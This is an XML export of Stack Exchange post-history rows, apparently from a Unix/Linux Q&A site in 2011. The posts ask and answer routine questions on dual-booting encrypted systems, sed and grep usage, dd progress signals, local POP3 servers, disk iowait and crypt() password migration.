  <row Id="27360" PostHistoryTypeId="5" PostId="11289" RevisionGUID="5ca1b481-c205-431d-9fbc-fe9e9cb55c9a" CreationDate="2011-04-13T22:48:30.693" UserId="73" Comment="deleted 78 characters in body" Text="I installed Fedora 14 first, then Ubuntu 10.04. I installed them using dm_crypt/aes256/lvm, so I used encrypted VolumeGroups. At the end of the Ubuntu install it said it cannot install GRUB, so I had to use SuperGRUBdisk to start Fedora and give the command:&#xD;&#xA;&#xD;&#xA;    # grub-install /dev/sda&#xD;&#xA;&#xD;&#xA;Now I can boot to Fedora normally, without using supergrubdisk, but the problem is, I can't boot to Ubuntu!&#xD;&#xA;&#xD;&#xA;Is there any working way to install Fedora 14 &amp; Ubuntu 10.04 using (separated) encrypted VolumeGroups (each volumegroup with other password)? Such that 2 users (who knows the root passwords of their own distro) can use 1 PC but not see each other's files?&#xD;&#xA;" />
  <row Id="27361" PostHistoryTypeId="5" PostId="11280" RevisionGUID="ff2542c6-1756-4a97-a06c-7ee8dbca41b5" CreationDate="2011-04-13T22:52:47.287" UserId="73" Comment="added 4 characters in body" Text="I tried this in the `user.action` file:&#xD;&#xA;&#xD;&#xA;    { +redirect{s@http://www.google.*/search@https://encrypted.google.com/search@} }&#xD;&#xA;    .google.&#xD;&#xA;&#xD;&#xA;But it doesn't work. My goal is to redirect from this: &#xD;&#xA;&#xD;&#xA;    http://www.google.*/searchBLA-BLA&#xD;&#xA;&#xD;&#xA;to this: &#xD;&#xA;&#xD;&#xA;    https://encrypted.google.com/searchBLA-BLA&#xD;&#xA;&#xD;&#xA;It could be `de`, `pl`, etc.; that's why I need the `*`.&#xD;&#xA;" />
  <row Id="27362" PostHistoryTypeId="2" PostId="11290" RevisionGUID="0866864c-efea-4008-ab5e-332bcf9d96d7" CreationDate="2011-04-13T23:01:54.000" UserId="5550" Text="In addition to the other answers, sudo provides logging facilities so you can keep track of what commands were run and by who. This isn't for security purposes since a malicious user who gets sudo access can wipe out the log. It is very useful though to figure out exactly what you or some other admin did bleary eyed at 2am last week." />
  <row Id="27363" PostHistoryTypeId="25" PostId="11285" RevisionGUID="33091bd7-ff20-4545-8ae5-f4e3879bddb8" CreationDate="2011-04-14T00:09:08.753" Comment="http://twitter.com/#!/StackUnix/status/58320850130173952" />
  <row Id="27364" PostHistoryTypeId="2" PostId="11291" RevisionGUID="4cbbd5d6-c882-4631-ade4-393d3dc8a933" CreationDate="2011-04-14T00:37:18.297" UserId="6566" Text="`ddrescue` will give you stats as it's running.&#xD;&#xA;&#xD;&#xA;demo:&#xD;&#xA;http://www.youtube.com/watch?v=vqq9A01geeA#t=144s" />
  <row Id="27365" PostHistoryTypeId="2" PostId="11292" RevisionGUID="9c591148-ab19-4807-82bc-8f0e19506c5a" CreationDate="2011-04-14T00:44:48.580" UserId="2712" Text="Assuming that the machines are on the same network, you should be able to just use the machine's host name instead of its IP address." />
  <row Id="27366" PostHistoryTypeId="2" PostId="11293" RevisionGUID="c6a57cd5-45b9-48e3-8a3c-edff4409c8ea" CreationDate="2011-04-14T00:54:28.593" UserId="4193" Text="I actually had a drive fail on a running system, no X though.  No logins were possible because getty was not available.  I tried shelling out of a running app, but no shell was available and the app was then unusable. That is when the Aiieeee message came to my attention and told the story.  " />
  <row Id="27367" PostHistoryTypeId="2" PostId="11294" RevisionGUID="f9eaa258-a9af-4af9-87b3-eafc59ec3b4d" CreationDate="2011-04-14T02:32:22.707" UserId="770" Text="Hi all, I'm developing a Thunderbird extension and I would like to setup a fake POP3 account to play with. What's the easiest way to setup a local POP3 server? It doesn't need to be particularly secure/robust, as it's meant only for local testing purposes." />
  <row Id="27368" PostHistoryTypeId="1" PostId="11294" RevisionGUID="f9eaa258-a9af-4af9-87b3-eafc59ec3b4d" CreationDate="2011-04-14T02:32:22.707" UserId="770" Text="How to setup a local POP3 server?" />
  <row Id="27369" PostHistoryTypeId="3" PostId="11294" RevisionGUID="f9eaa258-a9af-4af9-87b3-eafc59ec3b4d" CreationDate="2011-04-14T02:32:22.707" UserId="770" Text="émailàéserveràélocalà" />
  <row Id="27370" PostHistoryTypeId="2" PostId="11295" RevisionGUID="6f2c5c0b-d836-4390-9d40-09fe781cec7c" CreationDate="2011-04-14T03:01:30.207" UserId="6566" Text="Dovecot or Courier is probably your best bet.&#xD;&#xA;&#xD;&#xA;- http://wiki2.dovecot.org/POP3Server&#xD;&#xA;- http://www.courier-mta.org/install.html#pop3&#xD;&#xA;" />
  <row Id="27371" PostHistoryTypeId="2" PostId="11296" RevisionGUID="63bd767d-701b-4750-90fc-246ceffb2e54" CreationDate="2011-04-14T03:06:46.030" UserId="2689" Text="I have some &quot;corporative&quot; systems I have to use at work. Some of them are terrible, with frames, pop-ups and such.&#xD;&#xA;&#xD;&#xA;I was thinking about automating some stuff using curl or something like that. I need login, click on hyperlinks, set some data, and them do some post.&#xD;&#xA;&#xD;&#xA;Is it possible to use curl? Or am I'm going to be better using something like Selenium?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="27372" PostHistoryTypeId="1" PostId="11296" RevisionGUID="63bd767d-701b-4750-90fc-246ceffb2e54" CreationDate="2011-04-14T03:06:46.030" UserId="2689" Text="Does anybody here have experience in automating some tasks in web applications using curl?" />
  <row Id="27373" PostHistoryTypeId="3" PostId="11296" RevisionGUID="63bd767d-701b-4750-90fc-246ceffb2e54" CreationDate="2011-04-14T03:06:46.030" UserId="2689" Text="écurlàéseleniumà" />
  <row Id="27374" PostHistoryTypeId="25" PostId="11279" RevisionGUID="e6561b10-2f3d-4937-aee3-a30d08f547b6" CreationDate="2011-04-14T03:09:08.747" Comment="http://twitter.com/#!/StackUnix/status/58366149024415744" />
  <row Id="27375" PostHistoryTypeId="2" PostId="11297" RevisionGUID="5843c0f1-7d4c-4cc2-beac-4abac0fe25fa" CreationDate="2011-04-14T04:19:25.750" UserId="-1" Text="" />
  <row Id="27376" PostHistoryTypeId="2" PostId="11298" RevisionGUID="c7c08bd7-508c-4906-ad81-3f1191e2504d" CreationDate="2011-04-14T04:19:25.750" UserId="-1" Text="" />
  <row Id="27377" PostHistoryTypeId="2" PostId="11299" RevisionGUID="90870060-2f5e-4ff5-ab2a-25663ef7d055" CreationDate="2011-04-14T05:32:52.600" UserId="6564" Text="Is this possible to shutdown to grub, not all the way so you don't have to load back up the BIOS and other things. Like to give you the ability to quickly boot for Linux to Windows?" />
  <row Id="27378" PostHistoryTypeId="1" PostId="11299" RevisionGUID="90870060-2f5e-4ff5-ab2a-25663ef7d055" CreationDate="2011-04-14T05:32:52.600" UserId="6564" Text="What would it take for a *nix system to shutdown, then continue to grub?" />
  <row Id="27379" PostHistoryTypeId="3" PostId="11299" RevisionGUID="90870060-2f5e-4ff5-ab2a-25663ef7d055" CreationDate="2011-04-14T05:32:52.600" UserId="6564" Text="élinuxàékernelàégrubàédualöbootà" />
  <row Id="27380" PostHistoryTypeId="5" PostId="11297" RevisionGUID="3499e0a4-5c66-4f21-9df7-b9cc93d16ffd" CreationDate="2011-04-14T05:50:41.387" UserId="4485" Comment="added 2064 characters in body" Text="rm is the 'remove' command. Given sufficient rights in a directory, a user may remove one or more files. &#xD;&#xA;&#xD;&#xA;From the Gnu-rm helppage:&#xD;&#xA;&#xD;&#xA;    Usage: rm [OPTION]... FILE...&#xD;&#xA;    Remove (unlink) the FILE(s).&#xD;&#xA;    &#xD;&#xA;      -f, --force           ignore nonexistent files, never prompt&#xD;&#xA;      -i                    prompt before every removal&#xD;&#xA;      -I                    prompt once before removing more than three files, or&#xD;&#xA;                              when removing recursively.  Less intrusive than -i,&#xD;&#xA;                              while still giving protection against most mistakes&#xD;&#xA;          --interactive[=WHEN]  prompt according to WHEN: never, once (-I), or&#xD;&#xA;                              always (-i).  Without WHEN, prompt always&#xD;&#xA;          --one-file-system  when removing a hierarchy recursively, skip any&#xD;&#xA;                              directory that is on a file system different from&#xD;&#xA;                              that of the corresponding command line argument&#xD;&#xA;          --no-preserve-root  do not treat `/' specially&#xD;&#xA;          --preserve-root   do not remove `/' (default)&#xD;&#xA;      -r, -R, --recursive   remove directories and their contents recursively&#xD;&#xA;      -v, --verbose         explain what is being done&#xD;&#xA;          --help     display this help and exit&#xD;&#xA;          --version  output version information and exit&#xD;&#xA;    &#xD;&#xA;    By default, rm does not remove directories.  Use the --recursive (-r or -R)&#xD;&#xA;    option to remove each listed directory, too, along with all of its contents.&#xD;&#xA;    &#xD;&#xA;    To remove a file whose name starts with a `-', for example `-foo',&#xD;&#xA;    use one of these commands:&#xD;&#xA;      rm -- -foo&#xD;&#xA;    &#xD;&#xA;      rm ./-foo&#xD;&#xA;    &#xD;&#xA;    Note that if you use rm to remove a file, it is usually possible to recover&#xD;&#xA;    the contents of that file.  If you want more assurance that the contents are&#xD;&#xA;    truly unrecoverable, consider using shred.&#xD;&#xA;    &#xD;&#xA;    Report rm bugs to bug-coreutils@gnu.org&#xD;&#xA;    GNU coreutils home page: &lt;http://www.gnu.org/software/coreutils/&gt;&#xD;&#xA;    General help using GNU software: &lt;http://www.gnu.org/gethelp/&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27381" PostHistoryTypeId="24" PostId="11297" RevisionGUID="3499e0a4-5c66-4f21-9df7-b9cc93d16ffd" CreationDate="2011-04-14T05:50:41.387" Comment="Proposed by 4485 approved by 73 edit id of 267" />
  <row Id="27382" PostHistoryTypeId="5" PostId="11298" RevisionGUID="0da6e873-e364-4ff1-b4a9-04119e077a7e" CreationDate="2011-04-14T05:50:43.960" UserId="4485" Comment="added 28 characters in body" Text="rm is the 'remove' command. " />
  <row Id="27383" PostHistoryTypeId="24" PostId="11298" RevisionGUID="0da6e873-e364-4ff1-b4a9-04119e077a7e" CreationDate="2011-04-14T05:50:43.960" Comment="Proposed by 4485 approved by 73 edit id of 268" />
  <row Id="27384" PostHistoryTypeId="25" PostId="11296" RevisionGUID="ca9f6181-9e84-4783-a7e4-78e0fd37651f" CreationDate="2011-04-14T06:09:08.743" Comment="http://twitter.com/#!/StackUnix/status/58411446551330816" />
  <row Id="27387" PostHistoryTypeId="5" PostId="11258" RevisionGUID="0197759c-881d-4e51-8fe2-e622dc308849" CreationDate="2011-04-14T06:41:43.173" UserId="6562" Comment="added 81 characters in body" Text="EDIT: the files were changed to tsv to deal better with spaces in text fields&#xD;&#xA;&#xD;&#xA;I have 2 csv files in the following form:  &#xD;&#xA;&#xD;&#xA;### File 1: availableText.csv (can be very big)&#xD;&#xA;&#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-1&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-2&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-3&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-4&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-1&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-2&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-3&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-4&quot;  &#xD;&#xA;&gt; ...&#xD;&#xA;&#xD;&#xA;### File 2: wrongText.csv&#xD;&#xA;&#xD;&#xA;&gt; &quot;id1&quot; , &quot;texta&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;textb&quot;  &#xD;&#xA;&gt; &quot;id3&quot; , &quot;textc&quot;  &#xD;&#xA;&gt; &quot;id4&quot; , &quot;textd&quot;  &#xD;&#xA;&gt; ...&#xD;&#xA;&#xD;&#xA;For every line in `wrongText.csv`, I want to filter the available text entries for the same id and suggest the best available option using `tre-agrep` (a grep-like functions that allows error in the pattern and using -B returns the best match)&#xD;&#xA;&#xD;&#xA;For example, for `id1`:&#xD;&#xA;&#xD;&#xA;&gt; tre-agrep  -B 'texta' (from text1-1:4) | tr &quot;\n&quot; &quot;$&quot;  &#xD;&#xA;&gt; ( will produce something like 'text1-2$text1-4' )&#xD;&#xA;&#xD;&#xA;The desired output file would be like this:&#xD;&#xA;&#xD;&#xA;&gt; &quot;id1&quot; , &quot;texta&quot; , &quot;text1-2$text1-4&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;textb&quot; , &quot;text2-1$text2-3$text2-4&quot;   &#xD;&#xA;&#xD;&#xA;Note:&#xD;&#xA;&#xD;&#xA;1. The CSV can be converted to any format, but text may contain spaces (but not special characters)  &#xD;&#xA;2. IDs do contain both special characters and utf-8  &#xD;&#xA;3. Speed does not matter (for now at least)&#xD;&#xA;" />
  <row Id="27388" PostHistoryTypeId="2" PostId="11302" RevisionGUID="653e0dd7-102d-4def-a0cf-fc7760775c15" CreationDate="2011-04-14T06:55:29.810" UserId="6215" Text="Is there a way to write a bash script with the following functionalities?&#xD;&#xA;&#xD;&#xA; 1. Be launched when I press some key or key combination. (not so important requirement)&#xD;&#xA; 2. Identify the 7 most visited directories in last 3 hours.&#xD;&#xA; 3. Offer me the list of this 7 directories so I can cycle through them with tab and shift-tab (backward). Then press enter would mean cd to the selected directory.&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="27389" PostHistoryTypeId="1" PostId="11302" RevisionGUID="653e0dd7-102d-4def-a0cf-fc7760775c15" CreationDate="2011-04-14T06:55:29.810" UserId="6215" Text="Shell script printing the most visited directories" />
  <row Id="27390" PostHistoryTypeId="3" PostId="11302" RevisionGUID="653e0dd7-102d-4def-a0cf-fc7760775c15" CreationDate="2011-04-14T06:55:29.810" UserId="6215" Text="ébashàéshellöscriptàéscriptingàédirectoryà" />
  <row Id="27391" PostHistoryTypeId="5" PostId="11264" RevisionGUID="c5ac3838-98cc-4566-b647-f7a434f0955b" CreationDate="2011-04-14T07:24:32.107" UserId="1925" Comment="Format cleanup" Text="You can send [dd][1] a kill command with a certain signal to make it output current status. The signal is `INFO` on BSD systems (including OSX), `USR1` on Linux.&#xD;&#xA;&#xD;&#xA;    kill -INFO $PID&#xD;&#xA;&#xD;&#xA;You can find the process id ($PID above) with the `ps` command; or see [pgrep and pkill alternatives on mac os x][2] for more convenient methods.&#xD;&#xA;&#xD;&#xA;After outputing it's status, dd will resume coping.&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/dd.1.html&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/225/pgrep-and-pkill-alternatives-on-mac-os-x" />
  <row Id="27392" PostHistoryTypeId="2" PostId="11303" RevisionGUID="3dbc3a1a-3c1e-49c4-88a4-6c61d94a291c" CreationDate="2011-04-14T07:26:28.290" UserId="4200" Text="I usually attach `strace` to such a running process (with the `-p $PID` option) to see if it stays blocked in a system call or if it is still active. &#xD;&#xA;&#xD;&#xA;Or, if you feel nervous about sending a signal to the running dd, start another dd to validate if this works." />
  <row Id="27393" PostHistoryTypeId="2" PostId="11304" RevisionGUID="3fcc8b32-2a3b-43a4-afb8-821bc7bfe9fa" CreationDate="2011-04-14T08:21:45.743" UserId="1875" Text="I was indexing a MySQL table. It makes a high load on that computer. &#xD;&#xA;&#xD;&#xA;It seems due to a high iowait. But it also shows that the wMB/s is only 2.87.&#xD;&#xA;&#xD;&#xA;Isn't even a common SATA HDD able to handle more than 2.87MB/s? Why is process so slow then?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    avg-cpu:  %user   %nice %system %iowait  %steal   %idle&#xD;&#xA;               1.74    0.00    3.48   47.51    0.00   47.26&#xD;&#xA;    &#xD;&#xA;    Device:         rrqm/s   wrqm/s     r/s     w/s    rMB/s    wMB/s avgrq-sz avgqu-sz   await  svctm  %util&#xD;&#xA;    sda               0.00   300.00    0.00  383.00     0.00     2.87    15.35   142.00  374.64   2.61  99.90&#xD;&#xA;    sdb               0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00&#xD;&#xA;    scd0              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00&#xD;&#xA;    sdc               0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00&#xD;&#xA;    dm-0              0.00     0.00    0.00 2507.00     0.00     9.79     8.00   263.88  110.06   0.40  99.90&#xD;&#xA;    dm-1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00&#xD;&#xA;    dm-2              0.00     0.00    0.00    2.00     0.00     0.01     8.00     0.41  196.00 202.50  40.50&#xD;&#xA;    dm-3              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27394" PostHistoryTypeId="1" PostId="11304" RevisionGUID="3fcc8b32-2a3b-43a4-afb8-821bc7bfe9fa" CreationDate="2011-04-14T08:21:45.743" UserId="1875" Text="Hight iowait while the wMB/s is low." />
  <row Id="27395" PostHistoryTypeId="3" PostId="11304" RevisionGUID="3fcc8b32-2a3b-43a4-afb8-821bc7bfe9fa" CreationDate="2011-04-14T08:21:45.743" UserId="1875" Text="éperformanceàéioà" />
  <row Id="27396" PostHistoryTypeId="5" PostId="11264" RevisionGUID="e21e4a86-6391-4411-8504-74cf253659ea" CreationDate="2011-04-14T08:41:19.887" UserId="1925" Comment="added 27 characters in body" Text="You can send [dd][1] a certain signal using the `kill` command to make it output its' current status. The signal is `INFO` on BSD systems (including OSX) and `USR1` on Linux. In your case:&#xD;&#xA;&#xD;&#xA;    kill -INFO $PID&#xD;&#xA;&#xD;&#xA;You can find the process id ($PID above) with the `ps` command; or see [pgrep and pkill alternatives on mac os x][2] for more convenient methods.&#xD;&#xA;&#xD;&#xA;After outputing it's status, dd will resume coping.&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/dd.1.html&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/225/pgrep-and-pkill-alternatives-on-mac-os-x" />
  <row Id="27397" PostHistoryTypeId="25" PostId="11304" RevisionGUID="0c094c66-1284-479b-a6dc-bd1394fa9910" CreationDate="2011-04-14T09:09:08.533" Comment="http://twitter.com/#!/StackUnix/status/58456744673812480" />
  <row Id="27398" PostHistoryTypeId="2" PostId="11305" RevisionGUID="cbfc994e-b2fc-4577-8036-4530392c6f02" CreationDate="2011-04-14T09:32:19.910" UserId="2305" Text="`grep --before-context 5` shows 5 lines before the match.&#xD;&#xA;&#xD;&#xA;I want to show everything before the match.  &#xD;&#xA;Doing `grep --before-context 99999999` would work but it is not very... professional.&#xD;&#xA;&#xD;&#xA;How to show all the file up to the match?" />
  <row Id="27399" PostHistoryTypeId="1" PostId="11305" RevisionGUID="cbfc994e-b2fc-4577-8036-4530392c6f02" CreationDate="2011-04-14T09:32:19.910" UserId="2305" Text="Grep: Show all the file up to the match" />
  <row Id="27400" PostHistoryTypeId="3" PostId="11305" RevisionGUID="cbfc994e-b2fc-4577-8036-4530392c6f02" CreationDate="2011-04-14T09:32:19.910" UserId="2305" Text="égrepà" />
  <row Id="27401" PostHistoryTypeId="2" PostId="11306" RevisionGUID="4a0c8670-143d-4aca-9387-1e97069c940f" CreationDate="2011-04-14T09:42:14.800" UserId="3169" Text="[Sed](http://www.gnu.org/software/sed/manual/sed.html) is better for that.&#xD;&#xA;&#xD;&#xA;    sed '/PATTERN/q' FILE" />
  <row Id="27402" PostHistoryTypeId="2" PostId="11307" RevisionGUID="9f0c83fd-f347-4ea2-95c2-1e9173cedbf4" CreationDate="2011-04-14T09:43:57.127" UserId="5666" Text="`sed` can replace most of grep's functionality. &#xD;&#xA;&#xD;&#xA;    sed -n '1,/&lt;pattern&gt;/ p' &lt;file&gt;&#xD;&#xA;&#xD;&#xA;This means print from the first line until pattern is matched." />
  <row Id="27403" PostHistoryTypeId="2" PostId="11308" RevisionGUID="5e9696a1-e9a8-4ed4-8f4c-f406685be576" CreationDate="2011-04-14T09:45:37.240" UserId="1170" Text="For people like me, who choose to remember only the most basic usage of tools, and willing to accept less ellegant and less efficient sollutions:&#xD;&#xA;&#xD;&#xA;    head -n $(grep -n pattern filename | sed 's/:.*//') filename" />
  <row Id="27404" PostHistoryTypeId="5" PostId="11306" RevisionGUID="9136af62-ab50-4ec8-ae33-9a6b26023b48" CreationDate="2011-04-14T09:59:24.670" UserId="3169" Comment="added 251 characters in body" Text="[Sed](http://www.gnu.org/software/sed/manual/sed.html) is better for that.&#xD;&#xA;&#xD;&#xA;    sed '/PATTERN/q' FILE&#xD;&#xA;&#xD;&#xA;It is probably the most efficient solution, because as soon as it sees `PATTERN`, it quits, rather than reading the rest of the file that you're not going to print anyway.&#xD;&#xA;&#xD;&#xA;This trick can also be used to emulate `head`:&#xD;&#xA;&#xD;&#xA;    sed 10q FILE&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27405" PostHistoryTypeId="2" PostId="11309" RevisionGUID="b3ab51c8-51a8-4ab4-b6d6-0e83b556b266" CreationDate="2011-04-14T10:04:00.307" UserId="4671" Text="Just read it into memory, alter it, then write it back. You can do something like&#xD;&#xA;&#xD;&#xA;    filename = &quot;foo&quot;&#xD;&#xA;    f = open(filename, 'r+')&#xD;&#xA;    s = f.read().strip()                                                                                                                                                  &#xD;&#xA;    s_split = s.split(&quot;\n&quot;)                                                                                                                                                                                                                                                                                     &#xD;&#xA;    # Remove lines 1 and 3                                                                                                                                                &#xD;&#xA;    linenums = range(1,3)&#xD;&#xA;    for linenum in linenums:&#xD;&#xA;        s_split.pop(linenum-1)                                                                                                                                   &#xD;&#xA;    f.seek(0)&#xD;&#xA;    f.write('\n'.join(s_split))&#xD;&#xA;    f.truncate(f.tell())&#xD;&#xA;    f.close()&#xD;&#xA;&#xD;&#xA;Tested with a 5 line file. Credits to http://pleac.sourceforge.net/pleac_python/fileaccess.html, see section &quot;Modifying a File in Place Without a Temporary File&quot;. See also http://stackoverflow.com/questions/125703/how-do-i-modify-a-text-file-in-python&#xD;&#xA;&#xD;&#xA;BTW, sometimes the Python docs really suck. See http://docs.python.org/library/functions.html#open&#xD;&#xA;&#xD;&#xA;&gt; Modes 'r+', 'w+' and 'a+' open the file for updating (note that 'w+' truncates the file).&#xD;&#xA;&#xD;&#xA;Does this mean anything to you? What the hell is &quot;open for updating&quot;?" />
  <row Id="27406" PostHistoryTypeId="2" PostId="11310" RevisionGUID="fe5fa5ec-7fe5-431e-9c55-5831051856d2" CreationDate="2011-04-14T10:09:14.367" UserId="1311" Text="Increasingly I am dissatisfied by the fact, that configuring my linux *desktop* usually means removing bloat instead of adding and tweaking features. I have come to the conclusion that I would rather begin with something very minimal and then add packages I learn about that provide additional functionality.&#xD;&#xA;&#xD;&#xA;So I am **looking for either a very minimal desktop distribution or even better a tool to build such a distribution**. Or in other words I want to **replace the package manager with a pre-runtime build tool**.&#xD;&#xA;&#xD;&#xA;A package manager won't hurt but I am looking for a distribution that focuses on advanced upfront configuration instead of a huge package repository&#xD;&#xA;&#xD;&#xA;I have looked at various minimal desktop distributions but they all appear to solve different problems, e.g. are designed to run on older hardware or run from cd/stick/ramfs. But I don't want a minimal distribution because my I have old hardware but because I want to know what purpose the various parts play. Running from main memory doesn't help there either, I want something minimal *and* simple.&#xD;&#xA;&#xD;&#xA;Since it appears there are no distributions that are designed for the kind of minimalism I have in mind an obvious choice would be to build [Linux From Scratch][1]. However while I want the build process to be highly customization it also has to be automated because I will have to run it quite a few times until I have a system I am satisfied with.&#xD;&#xA;&#xD;&#xA;While a tool for lfs exists that can automate the build process it's not really integral part. Basically it extracts the steps required to build the system from the documentation and then does it automatically. I am looking for something a little more robust and advanced and also don't feel like editing xml.&#xD;&#xA;&#xD;&#xA;After a bit of searching I found [Buildroot][2] which is intended to build *embedded* distributions but also allows the installation of X11. Before building a toolchain and then a rootfs the build can be configured using `make menuconfig` just like Linux. This looks exacly like what I had in mind, except that it is intended for cross compiling for embedded systems.&#xD;&#xA;&#xD;&#xA;What I currently have in mind is using buildroot but first ripping out all the embedded specific part replacing them with the respective parts from lfs. Lot's of work.&#xD;&#xA;&#xD;&#xA;Also there are some problems with buildroot most importantly (as it appears from my limiting testing) just enabling an additional package results in the hole thing being rebuild from scratch, but for trivial changes I would like to avoid that.&#xD;&#xA;&#xD;&#xA;Before I make that time investment I will continue my search for a desktop distribution with a similar build tool like buildroot, are a alternative to/fork of buildroot intended for building desktop distributions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/&#xD;&#xA;  [2]: http://buildroot.uclibc.org/" />
  <row Id="27407" PostHistoryTypeId="1" PostId="11310" RevisionGUID="fe5fa5ec-7fe5-431e-9c55-5831051856d2" CreationDate="2011-04-14T10:09:14.367" UserId="1311" Text="Looking for tools to build minimal linux desktop" />
  <row Id="27408" PostHistoryTypeId="3" PostId="11310" RevisionGUID="fe5fa5ec-7fe5-431e-9c55-5831051856d2" CreationDate="2011-04-14T10:09:14.367" UserId="1311" Text="élinuxàécompilingàédistributionöchoiceàédesktopàésmallödistributionà" />
  <row Id="27409" PostHistoryTypeId="5" PostId="11307" RevisionGUID="2f28a7c6-d6d1-494f-82e3-68839ea13595" CreationDate="2011-04-14T10:10:37.237" UserId="5666" Comment="added 176 characters in body" Text="`sed` can replace most of grep's functionality. &#xD;&#xA;&#xD;&#xA;    sed -n '1,/&lt;pattern&gt;/ p' &lt;file&gt;&#xD;&#xA;&#xD;&#xA;This means print from the first line until pattern is matched.&#xD;&#xA;&#xD;&#xA;A couple of range examples&#xD;&#xA;&#xD;&#xA;    sed -n '/&lt;pattern&gt;/,$ p' &lt;file&gt; # from pattern to end of file&#xD;&#xA;    sed -n '/&lt;pattern1&gt;/,/&lt;pattern2&gt;/ p' &lt;file&gt; # from pattern1 to pattern2" />
  <row Id="27410" PostHistoryTypeId="12" PostId="11309" RevisionGUID="a6e8dff3-374c-436f-836b-9c15eee89e3d" CreationDate="2011-04-14T10:16:17.113" UserId="4671" Text="[{&quot;Id&quot;:4671,&quot;DisplayName&quot;:&quot;Faheem Mitha&quot;}]" />
  <row Id="27411" PostHistoryTypeId="2" PostId="11311" RevisionGUID="536492d0-ca52-4167-98f1-8e24139c74b1" CreationDate="2011-04-14T10:21:24.373" UserId="1594" Text="Specifically: I did `sudo mkdir /work`, and would like to verify it indeed sits on my harddrive and not mapped to some other drive.&#xD;&#xA;&#xD;&#xA;How do I check where this folder is physically located?" />
  <row Id="27412" PostHistoryTypeId="1" PostId="11311" RevisionGUID="536492d0-ca52-4167-98f1-8e24139c74b1" CreationDate="2011-04-14T10:21:24.373" UserId="1594" Text="How do I find on which physical device a folder is located?" />
  <row Id="27413" PostHistoryTypeId="3" PostId="11311" RevisionGUID="536492d0-ca52-4167-98f1-8e24139c74b1" CreationDate="2011-04-14T10:21:24.373" UserId="1594" Text="éfilesystemsà" />
  <row Id="27414" PostHistoryTypeId="2" PostId="11312" RevisionGUID="7206aace-d476-4436-948c-34e19afbc71a" CreationDate="2011-04-14T10:28:06.700" UserId="1078" Text="You use the `df(1)` command, and it will tell you the filesystem that the file/directory is on:&#xD;&#xA;&#xD;&#xA;    df /work&#xD;&#xA;&#xD;&#xA;The first field has the device that the file/directory is on.&#xD;&#xA;&#xD;&#xA;eg.&#xD;&#xA;&#xD;&#xA;    $ df /root&#xD;&#xA;    Filesystem           1K-blocks      Used Available Use% Mounted on&#xD;&#xA;    /dev/sda1              1043289    194300    795977  20% /&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27415" PostHistoryTypeId="2" PostId="11313" RevisionGUID="a37baead-bc61-4183-a310-b004cb001207" CreationDate="2011-04-14T10:45:46.137" UserId="3082" Text="[Gentoo Linux][1] lets you build exactly what you want. From practically nothing to a full-bloat desktop. It is basically a build system that also lets you customize build-time features.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/" />
  <row Id="27416" PostHistoryTypeId="2" PostId="11314" RevisionGUID="0c9848c9-0a9c-4833-8f1c-2c7eb27d6a39" CreationDate="2011-04-14T11:20:01.507" UserId="6582" Text="Because of a hardware issue i need to [migrate many virtual users][1] to a new machine. Their passwords stored in MySQL encrypted with &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/encryption-functions.html#function_encrypt&quot;&gt;`ENCRYPT`&lt;/a&gt; which using `crypt()`eventually.&#xD;&#xA;&#xD;&#xA;Maybe it's my fault but `salt` wasn't added when passwords were stored so they're totally random. My basic idea was to dump the database then import it. When i tried to store the same string in the same machine with `ENCRYPT` it gave me different results. Will users' passwords work on the new machine?&#xD;&#xA;&#xD;&#xA;Thank you for your feedback, fabrik&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/259523/migrate-live-server" />
  <row Id="27417" PostHistoryTypeId="1" PostId="11314" RevisionGUID="0c9848c9-0a9c-4833-8f1c-2c7eb27d6a39" CreationDate="2011-04-14T11:20:01.507" UserId="6582" Text="crypt() on different machines" />
  <row Id="27418" PostHistoryTypeId="3" PostId="11314" RevisionGUID="0c9848c9-0a9c-4833-8f1c-2c7eb27d6a39" CreationDate="2011-04-14T11:20:01.507" UserId="6582" Text="édebianàépasswordàémysqlà" />
